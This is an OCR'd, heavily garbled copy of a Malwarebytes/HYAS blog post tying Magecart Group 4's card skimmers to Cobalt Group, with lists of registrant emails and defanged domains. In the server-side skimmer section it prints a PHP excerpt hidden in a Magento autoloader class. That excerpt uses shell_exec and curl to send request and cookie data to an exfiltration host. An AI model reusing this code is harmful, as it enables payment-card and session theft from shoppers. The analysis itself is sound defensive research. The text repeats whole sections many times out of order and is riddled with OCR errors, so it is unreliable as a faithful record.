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Magecart Group 4: A link with Cobalt Group?
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About Cobalt Group

Cobalt Group came to the forefront of public attention in summer 2016 with their “jackpotting” attacks against
financial institutions in Europe, which reportedly netted the group over $3 million. Since that time, they have
purportedly amassed over a billion dollars from global institutions, evolving their tactics, techniques, and

procedures as they go.
Cobalt Domain Registration and other TTPs

While changing tactics as they have evolved, an identifiable pattern in email naming conventions historically used
by Cobalt allowed HYAS to not only identify previous campaign domains, but helped link Cobalt Group

campaigns to the Magecart domains identified above.

A small shift from one of their previous conventions of [firstname],[lastname], [fournumbers] (overwhelmingly

using protonmail accounts, with a handful of tutanota/keemail.me email accounts) changed to the above-noted
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convention of [firstname], [initial], [lastname] again using the same email services and registrars, and notably the

same use of privacy protection services.

Given the use of privacy services for all the domains in question, it is highly unlikely that this naming convention
would be known to any other actor besides those who registered both the Cobalt Group and Magecart
infrastructure. In addition, further investigation revealed that regardless of the email provider used, 10 of the
seemingly separate accounts reused only two different IP addresses, even over weeks and months between

registrations.

One of those emails is petersmelanie@protonmail.com, which was used to register 23 domains, including
my 1xbet[.]Jtop. This domain was used in a phishing campaign leveraging CVE-2017-0199 with a decoy document

called Fraud Transaction.doc.

E :
GO HOME | INSERT  DESIGN  PAGELAYOUT — REFERENCES — MAILNGS  REVIEW  VIEW Sign in
-y - L. — i a— | i Find ~
- - . Bp = LT .uz. A
0 Calibri (Body) - |11 A A Al Sei=-e =3 8T psbeede AsBbCeDc AaBbC ab_ pen
- | ZacReplace
Pute ¢ B I U aex. X A-¥-A-E=== |5- H-@ TNomal | TNoSpac.. Headingl [<| |\ cov

Clipboard Font ) Paragraph ] Styles ] Editing ~

u Ofﬁce This document is protected

Oops, something went wrong

If this document was downloaded from your email,
please double click LOCK icon to unlock it.

PAGE1 OF1 o0OwoRDs [[2

The same petersmelanie@protonmail.com also registered oracle-business[.Jcom. Similar campaigns against

Oracle and various banks have been attributed to Cobalt Group, with, for example, the domain oracle-

system[.]com.
A growing threat requires ongoing work

Based on their historical ties to the space, and the entrance of sophisticated actor groups such as FIN6 and others,
it’s logical to conclude that Cobalt Group would also enter this field and continue to diversify their criminal efforts

against global financial institutions.

The use of both client-side and server-side skimmers and the challenges this poses in identifying Magecart

compromises by advanced threat groups necessitates the ongoing work of industry partners to help defend against
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this significant and growing threat. On that note, the authors of this post would like to recognize the substantial
contribution that industry researchers and law enforcement officials are making to combat groups like Cobalt, and

hope that the information contained within adds to this corpus of knowledge and further strengthens these efforts.

Indicators of Compromise (IOCs)

Client-side skimmer

urlscan.io archive

Server-side skimmer

urlscan.io archive

Registrant emails associated with Magecart Group 4 domains

robertbalbarran@protonmail.com
josemhansen@protonmail.com
jamesncharette@protonmail.com
paulajwilson@protonmail.com
charliesdiaz@protonmail.ch
johnnware@keemail.me
everettgsullivan@tutanota.com
kellymwise@protonmail.ch
michaelslantigua@keemail.me
beverlybshubert@protonmail.com
carolynkwoosley@protonmail.com
johnnysramirez@tutanota.com
normajhollins@tutamail.com
timothykasten@protonmail.com
gladysjhipp@protonmail.com
guykmcdonald@protonmail.com

johndroy@outlook.com
Registrant emails associated with Cobalt domains

petersmelanie@protonmail.com

jasoncantrell1996@protonmail.com
Cobalt domains registered with Magecart email naming convention

oracle-business[.]Jcom
my-1xbet[.]Jcom
sbeibank[.]online
curacaoegaming|.]site

my1xbet[.]top
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newreg|.]site
sbepbank[.]com
orkreestr[.Jcom
orkreestr[.]Jhost
sbersafe[.]top
aoreestr][.]site
newreg|[.]host
sbeibank[.]Jcom
sbelbank[.]Jcom
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Previous FIN7 domains identified through naming conventions

akamaiservice-cdn[.Jcom
appleservice-cdn[.]Jcom
bing-cdn[.]Jcom
booking-cdn[.]Jcom
cdn-googleapi[.]Jcom
cdn-skype[.Jcom
cdn-yahooapi[.]Jcom
cdnj-cloudflare[.]Jcom
cisco-cdn[.]Jcom
cloudflare-cdn-r5[.]Jcom
digicert-cdn[.]Jcom
exchange-cdn[.]com
facebook77-cdn[.]Jcom
globaltech-cdn[.Jcom
gmail-cdn3[.]Jcom
googl-analytic[.]Jcom
google-services-s5[.Jcom
hpservice-cdn[.]Jcom
infosys-cdn[.Jcom
instagram-cdn[.]Jcom
live-cdn2[.]Jcom

logitech-cdn[.]Jcom
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msdn-cdn[.]com
msdn-update[.]Jcom
mse-cdn[.]Jcom
mse-cdn[.]com
pci-cdn[.Jcom
realtek-cdn[.]Jcom
servicebing-cdn[.]Jcom
servicebing-cdn[.]Jcom
testing-cdn[.]Jcom
tw32-cdn[.Jcom
vmware-cdn[.]Jcom
windowsupdatemicrosoft[.]Jcom

yahooservices-cdn[.]Jcom
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Email addresses used to register Magecart domains belonging to Magecart Group 4 contain a [first name],
[initial], and [last name]. Expanding our search to other domains used by Group 4 and searching through HYAS’

Comox data set, we see this trend continues:
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About Cobalt Group

Cobalt Group came to the forefront of public attention in summer 2016 with their “jackpotting” attacks against
financial institutions in Europe, which reportedly netted the group over $3 million. Since that time, they have
purportedly amassed over a billion dollars from global institutions, evolving their tactics, techniques, and

procedures as they go.
Cobalt Domain Registration and other TTPs

While changing tactics as they have evolved, an identifiable pattern in email naming conventions historically used
by Cobalt allowed HYAS to not only identify previous campaign domains, but helped link Cobalt Group

campaigns to the Magecart domains identified above.

A small shift from one of their previous conventions of [firstname],[lastname], [fournumbers] (overwhelmingly
using protonmail accounts, with a handful of tutanota/keemail.me email accounts) changed to the above-noted
convention of [firstname], [initial], [lastname] again using the same email services and registrars, and notably the

same use of privacy protection services.

Given the use of privacy services for all the domains in question, it is highly unlikely that this naming convention
would be known to any other actor besides those who registered both the Cobalt Group and Magecart
infrastructure. In addition, further investigation revealed that regardless of the email provider used, 10 of the
seemingly separate accounts reused only two different IP addresses, even over weeks and months between

registrations.
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One of those emails is petersmelanie@protonmail.com, which was used to register 23 domains, including
my 1xbet[.]Jtop. This domain was used in a phishing campaign leveraging CVE-2017-0199 with a decoy document

called Fraud Transaction.doc.
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The same petersmelanie@protonmail.com also registered oracle-business[.Jcom. Similar campaigns against

Oracle and various banks have been attributed to Cobalt Group, with, for example, the domain oracle-

system[.]com.
A growing threat requires ongoing work

Based on their historical ties to the space, and the entrance of sophisticated actor groups such as FIN6 and others,
it’s logical to conclude that Cobalt Group would also enter this field and continue to diversify their criminal efforts

against global financial institutions.

The use of both client-side and server-side skimmers and the challenges this poses in identifying Magecart
compromises by advanced threat groups necessitates the ongoing work of industry partners to help defend against
this significant and growing threat. On that note, the authors of this post would like to recognize the substantial
contribution that industry researchers and law enforcement officials are making to combat groups like Cobalt, and

hope that the information contained within adds to this corpus of knowledge and further strengthens these efforts.
Indicators of Compromise (IOCs)

Client-side skimmer

urlscan.io archive
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Server-side skimmer
urlscan.io archive
Registrant emails associated with Magecart Group 4 domains

robertbalbarran@protonmail.com
josemhansen@protonmail.com
jamesncharette@protonmail.com
paulajwilson@protonmail.com
charliesdiaz@protonmail.ch
johnnware@keemail.me
everettgsullivan@tutanota.com
kellymwise@protonmail.ch
michaelslantigua@keemail.me
beverlybshubert@protonmail.com
carolynkwoosley@protonmail.com
johnnysramirez@tutanota.com
normajhollins@tutamail.com
timothykasten@protonmail.com
gladysjhipp@protonmail.com
guykmcdonald@protonmail.com

johndroy@outlook.com
Registrant emails associated with Cobalt domains

petersmelanie@protonmail.com

jasoncantrell1996@protonmail.com
Cobalt domains registered with Magecart email naming convention

oracle-business[.]com
my-1xbet[.Jcom
sbeibank[.]online
curacaoegaming|.]site
my1xbet[.]Jtop
newreg|.]site
sbepbank[.]com
orkreestr[.]Jcom
orkreestr[.]host
sbersafe[.]top
aoreestr[.]site
newreg[.]host
sbeibank[.]Jcom
sbelbank[.]com
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aoreestr[.]online
curacaoegaming|.]online
sbepbank].]online
sbelbank[.]Jonline
curacao-egaming[.]online
my1xbet[.]online
orkreestr[.]press
newreg|.]online

aoreestr|[.]Jcom
Previous FIN7 domains identified through naming conventions

akamaiservice-cdn[.]com
appleservice-cdn[.]Jcom
bing-cdn[.]Jcom
booking-cdn[.]Jcom
cdn-googleapi[.]Jcom
cdn-skype[.Jcom
cdn-yahooapi[.]Jcom
cdnj-cloudflare[.]Jcom
cisco-cdn|[.]com
cloudflare-cdn-r5[.]Jcom
digicert-cdn[.]Jcom
exchange-cdn[.]Jcom
facebook77-cdn[.]Jcom
globaltech-cdn[.Jcom
gmail-cdn3[.]Jcom
googl-analytic[.]Jcom
google-services-s5[.Jcom
hpservice-cdn[.]Jcom
infosys-cdn[.Jcom
instagram-cdn[.]Jcom
live-cdn2[.]com
logitech-cdn[.Jcom
msdn-cdn[.]Jcom
msdn-update[.]Jcom
mse-cdn[.]Jcom
mse-cdn[.]com
pci-cdn[.Jcom
realtek-cdn[.]com
servicebing-cdn[.]Jcom
servicebing-cdn[.]Jcom

testing-cdn[.]Jcom

Page 9 of 31



https://blog.malwarebytes.com /threat-analysis /2019 /10 /magecart-group-4-a-link-with-cobalt-group/
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?3 . i Sl Inttp://secureqbrowser.com/testServer.php
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35| class Varien Autoload

36 {

37 const SCOPE_FILE PREFIX = ' ';

38

39 static protected $_instance:

40 static protected $ scops = 'default':

41 W
0:0 [ QuickFind. .. || Find & Replace | Readonly

This little code snippet looks for certain keywords associated with a financial transaction and then sends the

request and cookie data to the exfiltration server at securegbrowser|[.Jcom. An almost exact copy of this script was

described by Denis Sinegubko of Sucuri in his post Autoloaded Server-Side Swiper.

Connections between email registrants and exfiltration gates

Both the client-side and server-side skimmer domains illustrated above (bootstraproxy[.Jcom and s3-us-
west[.]Jcom) are registered to robertbalbarran@protonmail.com. They are listed by RiskIQ under Magecart Group

4: Never gone, simply advancing I0CS.

By checking their exfiltration gates (secure.upgradenstore[.]Jcom and securegbrowser[.Jcom), we connected them

to other registrant emails and saw a pattern emerge.
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Email addresses used to register Magecart domains belonging to Magecart Group 4 contain a [first name],
[initial], and [last name]. Expanding our search to other domains used by Group 4 and searching through HYAS’

Comox data set, we see this trend continues:
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About Cobalt Group

Cobalt Group came to the forefront of public attention in summer 2016 with their “jackpotting” attacks against
financial institutions in Europe, which reportedly netted the group over $3 million. Since that time, they have
purportedly amassed over a billion dollars from global institutions, evolving their tactics, techniques, and

procedures as they go.
Cobalt Domain Registration and other TTPs

While changing tactics as they have evolved, an identifiable pattern in email naming conventions historically used
by Cobalt allowed HYAS to not only identify previous campaign domains, but helped link Cobalt Group

campaigns to the Magecart domains identified above.

A small shift from one of their previous conventions of [firstname],[lastname], [fournumbers] (overwhelmingly
using protonmail accounts, with a handful of tutanota/keemail.me email accounts) changed to the above-noted
convention of [firstname], [initial], [lastname] again using the same email services and registrars, and notably the

same use of privacy protection services.

Given the use of privacy services for all the domains in question, it is highly unlikely that this naming convention
would be known to any other actor besides those who registered both the Cobalt Group and Magecart
infrastructure. In addition, further investigation revealed that regardless of the email provider used, 10 of the
seemingly separate accounts reused only two different IP addresses, even over weeks and months between

registrations.

One of those emails is petersmelanie@protonmail.com, which was used to register 23 domains, including
my1xbet[.]top. This domain was used in a phishing campaign leveraging CVE-2017-0199 with a decoy document

called Fraud Transaction.doc.
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The same petersmelanie@protonmail.com also registered oracle-business[.Jcom. Similar campaigns against

Oracle and various banks have been attributed to Cobalt Group, with, for example, the domain oracle-

system[.]com.
A growing threat requires ongoing work

Based on their historical ties to the space, and the entrance of sophisticated actor groups such as FIN6 and others,
it’s logical to conclude that Cobalt Group would also enter this field and continue to diversify their criminal efforts

against global financial institutions.

The use of both client-side and server-side skimmers and the challenges this poses in identifying Magecart
compromises by advanced threat groups necessitates the ongoing work of industry partners to help defend against
this significant and growing threat. On that note, the authors of this post would like to recognize the substantial
contribution that industry researchers and law enforcement officials are making to combat groups like Cobalt, and

hope that the information contained within adds to this corpus of knowledge and further strengthens these efforts.

Indicators of Compromise (IOCs)
Client-side skimmer

urlscan.io archive

Server-side skimmer

urlscan.io archive
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Registrant emails associated with Magecart Group 4 domains

robertbalbarran@protonmail.com
josemhansen@protonmail.com
jamesncharette@protonmail.com
paulajwilson@protonmail.com
charliesdiaz@protonmail.ch
johnnware@keemail.me
everettgsullivan@tutanota.com
kellymwise@protonmail.ch
michaelslantigua@keemail.me
beverlybshubert@protonmail.com
carolynkwoosley@protonmail.com
johnnysramirez@tutanota.com
normajhollins@tutamail.com
timothykasten@protonmail.com
gladysjhipp@protonmail.com
guykmcdonald@protonmail.com

johndroy@outlook.com
Registrant emails associated with Cobalt domains

petersmelanie@protonmail.com

jasoncantrell1996@protonmail.com
Cobalt domains registered with Magecart email naming convention

oracle-business[.]com
my-1xbet[.Jcom
sbeibank[.]Jonline
curacaoegaming|.]site
my1xbet[.]top
newreg|.]site
sbepbank[.]com
orkreestr[.]Jcom
orkreestr[.]host
sbersafe[.]top
aoreestr[.]site
newreg[.]host
sbeibank[.]Jcom
sbelbank[.]com
aoreestr[.]online
curacaoegaming|.]online

sbepbank[.]online
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newreg[.]online

aoreestr[.]Jcom
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Previous FIN7 domains identified through naming conventions

akamaiservice-cdn[.]Jcom
appleservice-cdn[.]Jcom
bing-cdn[.]Jcom
booking-cdn[.Jcom
cdn-googleapi[.]Jcom
cdn-skype[.Jcom
cdn-yahooapi[.]Jcom
cdnj-cloudflare[.]Jcom
cisco-cdn[.]com
cloudflare-cdn-r5[.]Jcom
digicert-cdn[.]Jcom
exchange-cdn[.]Jcom
facebook77-cdn[.]Jcom
globaltech-cdn[.]Jcom
gmail-cdn3[.]Jcom
googl-analytic[.]Jcom
google-services-s5[.Jcom
hpservice-cdn[.]Jcom
infosys-cdn[.]Jcom
instagram-cdn[.]Jcom
live-cdn2[.Jcom
logitech-cdn[.Jcom
msdn-cdn[.]com
msdn-update[.]com
mse-cdn[.]com
mse-cdn[.]com
pci-cdn[.Jcom
realtek-cdn[.]Jcom
servicebing-cdn[.]com
servicebing-cdn[.]Jcom
testing-cdn[.]Jcom
tw32-cdn[.]com

vmware-cdn[.]com
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Server-side skimmer

While checking infrastructure related to Magecart Group 4, we identified a PHP script (see IOCs for the full
template) that was perhaps mistakenly served as JavaScript instead. Indeed, access to the backend server would

normally be required to view this kind of file.
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. i Sl Inttp://secureqbrowser.com/testServer.php

34

35| class Varien Autoload

EL N

37 const SCOPE_FILE PREFIX = '_ ';

38

39 static protected $_instance:

40 static protected $ scops = 'default':

41 W
0:0 [ QuickFind. .. || Find & Replace | Readonly

This little code snippet looks for certain keywords associated with a financial transaction and then sends the

request and cookie data to the exfiltration server at securegbrowser[.Jcom. An almost exact copy of this script was

described by Denis Sinegubko of Sucuri in his post Autoloaded Server-Side Swiper.

Connections between email registrants and exfiltration gates

Both the client-side and server-side skimmer domains illustrated above (bootstraproxy[.Jcom and s3-us-
west[.]Jcom) are registered to robertbalbarran@protonmail.com. They are listed by RiskIQ under Magecart Group

4: Never gone, simply advancing I0CS.

By checking their exfiltration gates (secure.upgradenstore[.]Jcom and securegbrowser[.Jcom), we connected them

to other registrant emails and saw a pattern emerge.
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Email addresses used to register Magecart domains belonging to Magecart Group 4 contain a [first name],
[initial], and [last name]. Expanding our search to other domains used by Group 4 and searching through HYAS’

Comox data set, we see this trend continues:
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About Cobalt Group

Cobalt Group came to the forefront of public attention in summer 2016 with their “jackpotting” attacks against
financial institutions in Europe, which reportedly netted the group over $3 million. Since that time, they have
purportedly amassed over a billion dollars from global institutions, evolving their tactics, techniques, and

procedures as they go.
Cobalt Domain Registration and other TTPs

While changing tactics as they have evolved, an identifiable pattern in email naming conventions historically used
by Cobalt allowed HYAS to not only identify previous campaign domains, but helped link Cobalt Group

campaigns to the Magecart domains identified above.

A small shift from one of their previous conventions of [firstname],[lastname], [fournumbers] (overwhelmingly
using protonmail accounts, with a handful of tutanota/keemail.me email accounts) changed to the above-noted
convention of [firstname], [initial], [lastname] again using the same email services and registrars, and notably the

same use of privacy protection services.

Given the use of privacy services for all the domains in question, it is highly unlikely that this naming convention
would be known to any other actor besides those who registered both the Cobalt Group and Magecart
infrastructure. In addition, further investigation revealed that regardless of the email provider used, 10 of the
seemingly separate accounts reused only two different IP addresses, even over weeks and months between

registrations.

One of those emails is petersmelanie@protonmail.com, which was used to register 23 domains, including
my1xbet[.]top. This domain was used in a phishing campaign leveraging CVE-2017-0199 with a decoy document

called Fraud Transaction.doc.
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The same petersmelanie@protonmail.com also registered oracle-business[.Jcom. Similar campaigns against

Oracle and various banks have been attributed to Cobalt Group, with, for example, the domain oracle-

system[.]com.
A growing threat requires ongoing work

Based on their historical ties to the space, and the entrance of sophisticated actor groups such as FIN6 and others,
it’s logical to conclude that Cobalt Group would also enter this field and continue to diversify their criminal efforts

against global financial institutions.

The use of both client-side and server-side skimmers and the challenges this poses in identifying Magecart
compromises by advanced threat groups necessitates the ongoing work of industry partners to help defend against
this significant and growing threat. On that note, the authors of this post would like to recognize the substantial
contribution that industry researchers and law enforcement officials are making to combat groups like Cobalt, and

hope that the information contained within adds to this corpus of knowledge and further strengthens these efforts.

Indicators of Compromise (IOCs)
Client-side skimmer

urlscan.io archive

Server-side skimmer

urlscan.io archive
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Registrant emails associated with Magecart Group 4 domains

robertbalbarran@protonmail.com
josemhansen@protonmail.com
jamesncharette@protonmail.com
paulajwilson@protonmail.com
charliesdiaz@protonmail.ch
johnnware@keemail.me
everettgsullivan@tutanota.com
kellymwise@protonmail.ch
michaelslantigua@keemail.me
beverlybshubert@protonmail.com
carolynkwoosley@protonmail.com
johnnysramirez@tutanota.com
normajhollins@tutamail.com
timothykasten@protonmail.com
gladysjhipp@protonmail.com
guykmcdonald@protonmail.com

johndroy@outlook.com
Registrant emails associated with Cobalt domains

petersmelanie@protonmail.com

jasoncantrell1996@protonmail.com
Cobalt domains registered with Magecart email naming convention

oracle-business[.]com
my-1xbet[.Jcom
sbeibank[.]Jonline
curacaoegaming|.]site
my1xbet[.]top
newreg|.]site
sbepbank[.]com
orkreestr[.]Jcom
orkreestr[.]host
sbersafe[.]top
aoreestr[.]site
newreg[.]host
sbeibank[.]Jcom
sbelbank[.]com
aoreestr[.]online
curacaoegaming|.]online

sbepbank[.]online
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Previous FIN7 domains identified through naming conventions

akamaiservice-cdn[.]Jcom
appleservice-cdn[.]Jcom
bing-cdn[.]Jcom
booking-cdn[.Jcom
cdn-googleapi[.]Jcom
cdn-skype[.Jcom
cdn-yahooapi[.]Jcom
cdnj-cloudflare[.]Jcom
cisco-cdn[.]com
cloudflare-cdn-r5[.]Jcom
digicert-cdn[.]Jcom
exchange-cdn[.]Jcom
facebook77-cdn[.]Jcom
globaltech-cdn[.]Jcom
gmail-cdn3[.]Jcom
googl-analytic[.]Jcom
google-services-s5[.Jcom
hpservice-cdn[.]Jcom
infosys-cdn[.]Jcom
instagram-cdn[.]Jcom
live-cdn2[.Jcom
logitech-cdn[.Jcom
msdn-cdn[.]com
msdn-update[.]com
mse-cdn[.]com
mse-cdn[.]com
pci-cdn[.Jcom
realtek-cdn[.]Jcom
servicebing-cdn[.]com
servicebing-cdn[.]Jcom
testing-cdn[.]Jcom
tw32-cdn[.]com

vmware-cdn[.]com
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windowsupdatemicrosoft[.]Jcom

yahooservices-cdn[.]Jcom
Note: This blog post is a collaboration between the Malwarebytes and HYAS Threat Intelligence teams.

Magecart is a term that has become a household name, and it refers to the theft of credit card data via online
stores. The most common scenario is for criminals to compromise e-commerce sites by injecting rogue JavaScript

code designed to steal any information entered by victims on the checkout page.

Classifying Magecart threat actors is not an easy task due to the diversity of skimmers and their reuse. The effort
of attributing Magecart to “groups” started with RiskIQ and Flashpoint’s comprehensive Inside Magecart report

released in fall 2018, followed by Group-IB several months later.

Much more recently, information about the actual threat actors behind groups has come forward. For example,

IBM publicly identified Group 6 as being FIN6. This is interesting on many levels because it reinforces the idea

that existing threat groups have been leveraging their past experiences to apply them to theft in the e-commerce
field.

One group that caught our interest is Group 4, which is one of the more advanced cybercriminal organizations.
While working jointly with security firm HYAS, we found some interesting patterns in the email addresses used to
register domains belonging to Magecart matching those of a sophisticated threat group known as Cobalt Group,
aka Cobalt Gang or Cobalt Spider.

In this blog, we will detail our findings and show that Group 4 was not only conducting client-side skimming via
JavaScript but was—and most likely still is—doing the same server-side. This is important to note as most reports

about Magecart only cover the former, which is by far easier to identify.
Magecart Group 4

In the Inside Magecart report, Group 4 is described as advanced and uses techniques to blend in with normal
traffic. For instance, Magecart will register domain names that appear to be tied to advertisers or analytic
providers (see IOCs for Cobalt Group domains identified using this TTP and naming convention). Another

interesting aspect from the report is that Group 4 is suspected to have had a history in banking malware.
Client-side skimmer

One of Group 4’s original skimmers was concealed as the jquery.mask.js plugin (see IOCs for a copy of the
script). The malicious code is appended at the end of the script and uses some layers of obfuscation. The hex-
encoded data converts to Base64, which can be translated into standard text to reveal skimmer activity and an

exfiltration gate.
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Server-side skimmer

While checking infrastructure related to Magecart Group 4, we identified a PHP script (see IOCs for the full
template) that was perhaps mistakenly served as JavaScript instead. Indeed, access to the backend server would

normally be required to view this kind of file.
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= Zml yc3RuYW1l G2 Yz I8 Y 2N fbnVet ¥ mVyTHVzZXJuYW11 fGNjX3xzaGlweGluZ 3xjdnZ 8SbWoudGhi3ZH
=+ [VtbX18c2VjdRJ1dHIhZGluZ 3x5ZWFyEGvZ2 1ufGIpbGxpbrd3 ZXhwaXJSfHEheW11bnREYZFyZFo9u
9 |jawiizxI=')."/i", &sz (S REQUEST))){

3z @shell exec("curl --data \"version=l&encode=".5bb( $sz($_REQUEST) . "--"
= $sz($ COOKIE) )."shost=".5 SERVER["HTTP HOST"]."\" ".trim(5dd('

£¢ |aHRGcDDvL3N1Y3VyZXFiCmE3CZVyLmNVbSSGZXNGU2VydiyLnBDCA=ﬂ'}}." » fdev/null Z<&
=+

3

" -

. i Sl Inttp://secureqbrowser.com/testServer.php

34
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EL N

37 const SCOPE_FILE PREFIX = '_ ';

38

39 static protected $_instance:

40 static protected $ scops = 'default':

41 W
0:0 [ QuickFind. .. || Find & Replace | Readonly

This little code snippet looks for certain keywords associated with a financial transaction and then sends the

request and cookie data to the exfiltration server at securegbrowser[.Jcom. An almost exact copy of this script was

described by Denis Sinegubko of Sucuri in his post Autoloaded Server-Side Swiper.

Connections between email registrants and exfiltration gates

Both the client-side and server-side skimmer domains illustrated above (bootstraproxy[.Jcom and s3-us-
west[.]Jcom) are registered to robertbalbarran@protonmail.com. They are listed by RiskIQ under Magecart Group

4: Never gone, simply advancing I0CS.

By checking their exfiltration gates (secure.upgradenstore[.]Jcom and securegbrowser[.Jcom), we connected them

to other registrant emails and saw a pattern emerge.
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Email addresses used to register Magecart domains belonging to Magecart Group 4 contain a [first name],
[initial], and [last name]. Expanding our search to other domains used by Group 4 and searching through HYAS’

Comox data set, we see this trend continues:
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About Cobalt Group

Cobalt Group came to the forefront of public attention in summer 2016 with their “jackpotting” attacks against
financial institutions in Europe, which reportedly netted the group over $3 million. Since that time, they have
purportedly amassed over a billion dollars from global institutions, evolving their tactics, techniques, and

procedures as they go.
Cobalt Domain Registration and other TTPs

While changing tactics as they have evolved, an identifiable pattern in email naming conventions historically used
by Cobalt allowed HYAS to not only identify previous campaign domains, but helped link Cobalt Group

campaigns to the Magecart domains identified above.

A small shift from one of their previous conventions of [firstname],[lastname], [fournumbers] (overwhelmingly
using protonmail accounts, with a handful of tutanota/keemail.me email accounts) changed to the above-noted
convention of [firstname], [initial], [lastname] again using the same email services and registrars, and notably the

same use of privacy protection services.

Given the use of privacy services for all the domains in question, it is highly unlikely that this naming convention
would be known to any other actor besides those who registered both the Cobalt Group and Magecart
infrastructure. In addition, further investigation revealed that regardless of the email provider used, 10 of the
seemingly separate accounts reused only two different IP addresses, even over weeks and months between

registrations.

One of those emails is petersmelanie@protonmail.com, which was used to register 23 domains, including
my1xbet[.]top. This domain was used in a phishing campaign leveraging CVE-2017-0199 with a decoy document

called Fraud Transaction.doc.
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The same petersmelanie@protonmail.com also registered oracle-business[.Jcom. Similar campaigns against

Oracle and various banks have been attributed to Cobalt Group, with, for example, the domain oracle-

system[.]com.
A growing threat requires ongoing work

Based on their historical ties to the space, and the entrance of sophisticated actor groups such as FIN6 and others,
it’s logical to conclude that Cobalt Group would also enter this field and continue to diversify their criminal efforts

against global financial institutions.

The use of both client-side and server-side skimmers and the challenges this poses in identifying Magecart
compromises by advanced threat groups necessitates the ongoing work of industry partners to help defend against
this significant and growing threat. On that note, the authors of this post would like to recognize the substantial
contribution that industry researchers and law enforcement officials are making to combat groups like Cobalt, and

hope that the information contained within adds to this corpus of knowledge and further strengthens these efforts.

Indicators of Compromise (IOCs)
Client-side skimmer

urlscan.io archive

Server-side skimmer

urlscan.io archive

Page 28 of 31


https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/10/document_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/10/document_.png
https://www.quoscient.io/wp-content/uploads/2018/10/QuoInt_INTELBUL_Weekly_39.pdf
https://urlscan.io/responses/7a00ed6c55f3016e160be339b811be0f308de71043ee76c982c75de359fda808/
https://urlscan.io/result/ef403ae4-82ed-4f95-8ea4-f32aa06c1ee7/content/

https://blog.malwarebytes.com /threat-analysis/2019/10/magecart-group-4-a-link-with-cobalt-group/

Registrant emails associated with Magecart Group 4 domains

robertbalbarran@protonmail.com
josemhansen@protonmail.com
jamesncharette@protonmail.com
paulajwilson@protonmail.com
charliesdiaz@protonmail.ch
johnnware@keemail.me
everettgsullivan@tutanota.com
kellymwise@protonmail.ch
michaelslantigua@keemail.me
beverlybshubert@protonmail.com
carolynkwoosley@protonmail.com
johnnysramirez@tutanota.com
normajhollins@tutamail.com
timothykasten@protonmail.com
gladysjhipp@protonmail.com
guykmcdonald@protonmail.com

johndroy@outlook.com
Registrant emails associated with Cobalt domains

petersmelanie@protonmail.com

jasoncantrell1996@protonmail.com
Cobalt domains registered with Magecart email naming convention

oracle-business[.]com
my-1xbet[.Jcom
sbeibank[.]online
curacaoegaming|.]site
my1xbet[.]top
newreg|.]site
sbepbank[.]com
orkreestr[.]Jcom
orkreestr[.]host
sbersafe[.]top
aoreestr[.]site
newreg[.]host
sbeibank[.]Jcom
sbelbank[.]com
aoreestr[.]online
curacaoegaming|.]online

sbepbank[.]online
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curacao-egaming|[.]Jonline
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orkreestr[.]press
newreg[.]online
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Previous FIN7 domains identified through naming conventions

akamaiservice-cdn[.Jcom
appleservice-cdn[.Jcom
bing-cdn[.]Jcom
booking-cdn[.Jcom
cdn-googleapi[.]Jcom
cdn-skype[.Jcom
cdn-yahooapi[.]Jcom
cdnj-cloudflare[.]Jcom
cisco-cdn[.]com
cloudflare-cdn-r5[.]Jcom
digicert-cdn[.]Jcom
exchange-cdn[.]Jcom
facebook77-cdn[.]Jcom
globaltech-cdn[.]Jcom
gmail-cdn3[.]Jcom
googl-analytic[.]Jcom
google-services-s5[.Jcom
hpservice-cdn[.]Jcom
infosys-cdn[.]Jcom
instagram-cdn[.]Jcom
live-cdn2[.]Jcom
logitech-cdn[.Jcom
msdn-cdn[.]com
msdn-update[.]com
mse-cdn[.]com
mse-cdn[.]com
pci-cdn[.Jcom
realtek-cdn[.]Jcom
servicebing-cdn[.]com
servicebing-cdn[.]Jcom
testing-cdn[.]Jcom
tw32-cdn[.]com

vmware-cdn[.]com
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windowsupdatemicrosoft[.]Jcom

yahooservices-cdn[.]Jcom

Source: https://blog.malwarebytes.com/threat-analysis/2019/10/magecart-group-4-a-link-with-cobalt-group/
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